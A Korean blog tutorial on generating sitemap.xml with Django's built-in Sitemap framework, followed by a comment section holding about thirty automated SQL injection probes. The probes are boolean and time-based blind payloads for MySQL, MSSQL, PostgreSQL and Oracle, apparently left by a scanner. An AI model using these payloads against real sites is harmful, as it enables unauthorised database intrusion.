Django 내부에서 Sitemap 도구를 이용해 Sitemap.xml 생성하기
Nov. 8, 2021, 10:59 p.m.
사이트를 만든다음 네이버 서치 어드바이저나 구글 서치 콘솔과 같은 곳에 등록을 하게 되는데요, 이때 사이트맵을 등록해주면 검색엔진측에서 사이트의 링크들을 더욱 쉽게 색인 할 수 있습니다. 사이트맵을 만드는 방법도 여러가지가 있는데요, 이번 포스트에서는 Django의 자체 기능을 이용해 사이트맵을 생성하는 방법을 알아보겠습니다.
1. 모델 준비하기
사이트맵은 모델 기반으로 만들어집니다. CBV로 개발할 때 각 페이지가 Django의 ListView나 DetailView로 이루어져있다면 쉽게 이를 바탕으로 사이트맵을 생성할 수 있습니다.
예를 들어 블로그 사이트를 만든다면 아래와 같이 Post 모델을 생성할 수 있겠네요.
class Post(models.Model):
title = models.CharField(max_length=100)
content = models.CharField()
created_at = models.DateTimeField(auto_now_add=True)
updated_at = models.DateTimeField(auto_now=True)
def get_absolute_url(self):
return f'/blog/{self.pk}/'
여기서 중요한것은 get_absolute_url() 메서드 입니다. Django에서는 모델의 링크를 얻어올 때 get_absolute_url() 함수를 사용할 것을 권장하고 있습니다. 이는 장고의 여러 기능에서 쉽게 응용하기 위해서인데요, 사이트맵을 생성할 때도 이 메서드를 사용합니다.
get_absolute_url()이 포함된 모델을 만들었다면 다음으로 넘어가겠습니다.
2. Views.py 변경하기
Post 모델이 사용되는 앱의 Views.py에 들어가서 아래와 같은 클래스를 추가해줍니다.
-views.py-
from .models import Post
from django.contrib.sitemaps import Sitemap
...
class BlogSitemap(Sitemap):
changefreq = "monthly"
priority = 0.5
def items(self):
return Post.objects.all()
이때 changefreq와 priority는 재량껏 설정해 주시면 됩니다. 수정하지 않아도 무방합니다.
3. urls.py 수정하기
마지막으로 example.com/sitemap.xml에 접속했을 때 사이트맵이 출력되도록 urls.py를 수정하겠습니다.
아래의 내용을 루트 디렉터리를 설정하는 urls.py에 추가해주세요.
-urls.py-
from django.contrib.sitemaps.views import sitemap
from blog.views import BlogSitemap
...
sitemaps = {'blog': BlogSitemap}
...
urlpatterns = [
...
path('sitemap.xml', sitemap, {'sitemaps': sitemaps}, name='django.contrib.sitemaps.views.sitemap'),
...
]
이전에 만들어준 사이트맵 클래스를 import 해주고 sitemaps 딕셔너리를 만듭니다. 이때 여러 모델의 사이트맵 클래스를 만들었다면 이 딕셔너리에 더 추가해주면 됩니다.
urlpatterns에 path()를 이용해 sitemap.xml에 접속하면 사이트맵이 나오도록 설정해줍니다.
설정이 완료되었다면 서버를 실행하고 접속해보세요.
이런식으로 xml 파일이 출력되면 완성입니다!
Django Sitemap
pHqghUme
555
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555
Jan. 22, 2025, 7:52 a.m.
pHqghUme
555
Jan. 22, 2025, 7:52 a.m.
pHqghUme
-1 OR 2+645-645-1=0+0+0+1 --
Jan. 22, 2025, 7:52 a.m.
pHqghUme
-1 OR 2+983-983-1=0+0+0+1
Jan. 22, 2025, 7:52 a.m.
pHqghUme
-1' OR 2+93-93-1=0+0+0+1 --
Jan. 22, 2025, 7:52 a.m.
pHqghUme
-1' OR 2+650-650-1=0+0+0+1 or 'OrERglMZ'='
Jan. 22, 2025, 7:52 a.m.
pHqghUme
-1" OR 2+881-881-1=0+0+0+1 --
Jan. 22, 2025, 7:52 a.m.
pHqghUme
555*if(now()=sysdate(),sleep(15),0)
Jan. 22, 2025, 7:52 a.m.
pHqghUme
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
Jan. 22, 2025, 7:52 a.m.
pHqghUme
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
Jan. 22, 2025, 7:52 a.m.
pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
Jan. 22, 2025, 7:52 a.m.
pHqghUme
555-1; waitfor delay '0:0:15' --
Jan. 22, 2025, 7:52 a.m.
pHqghUme
555-1); waitfor delay '0:0:15' --
Jan. 22, 2025, 7:52 a.m.
pHqghUme
555-1 waitfor delay '0:0:15' --
Jan. 22, 2025, 7:52 a.m.
pHqghUme
555BKxw9im7'; waitfor delay '0:0:15' --
Jan. 22, 2025, 7:52 a.m.
pHqghUme
555-1 OR 781=(SELECT 781 FROM PG_SLEEP(15))--
Jan. 22, 2025, 7:52 a.m.
pHqghUme
555-1) OR 661=(SELECT 661 FROM PG_SLEEP(15))--
Jan. 22, 2025, 7:52 a.m.
pHqghUme
555-1)) OR 532=(SELECT 532 FROM PG_SLEEP(15))--
Jan. 22, 2025, 7:52 a.m.
pHqghUme
5552xbbyJUK' OR 78=(SELECT 78 FROM PG_SLEEP(15))--
Jan. 22, 2025, 7:52 a.m.
pHqghUme
555hv5Nkt2C') OR 256=(SELECT 256 FROM PG_SLEEP(15))--
Jan. 22, 2025, 7:52 a.m.
pHqghUme
5557ofjoTe0')) OR 483=(SELECT 483 FROM PG_SLEEP(15))--
Jan. 22, 2025, 7:52 a.m.
pHqghUme
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
Jan. 22, 2025, 7:52 a.m.
pHqghUme
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
Jan. 22, 2025, 7:52 a.m.
pHqghUme
555
Jan. 22, 2025, 7:52 a.m.
pHqghUme
555'"
Jan. 22, 2025, 7:52 a.m.
pHqghUme
555����%2527%2522\'\"
Jan. 22, 2025, 7:52 a.m.
pHqghUme
@@4rlkZ
Jan. 22, 2025, 7:52 a.m.
pHqghUme
555
Jan. 22, 2025, 7:52 a.m.
pHqghUme
555
Jan. 22, 2025, 7:52 a.m.
pHqghUme
555
Jan. 22, 2025, 7:52 a.m.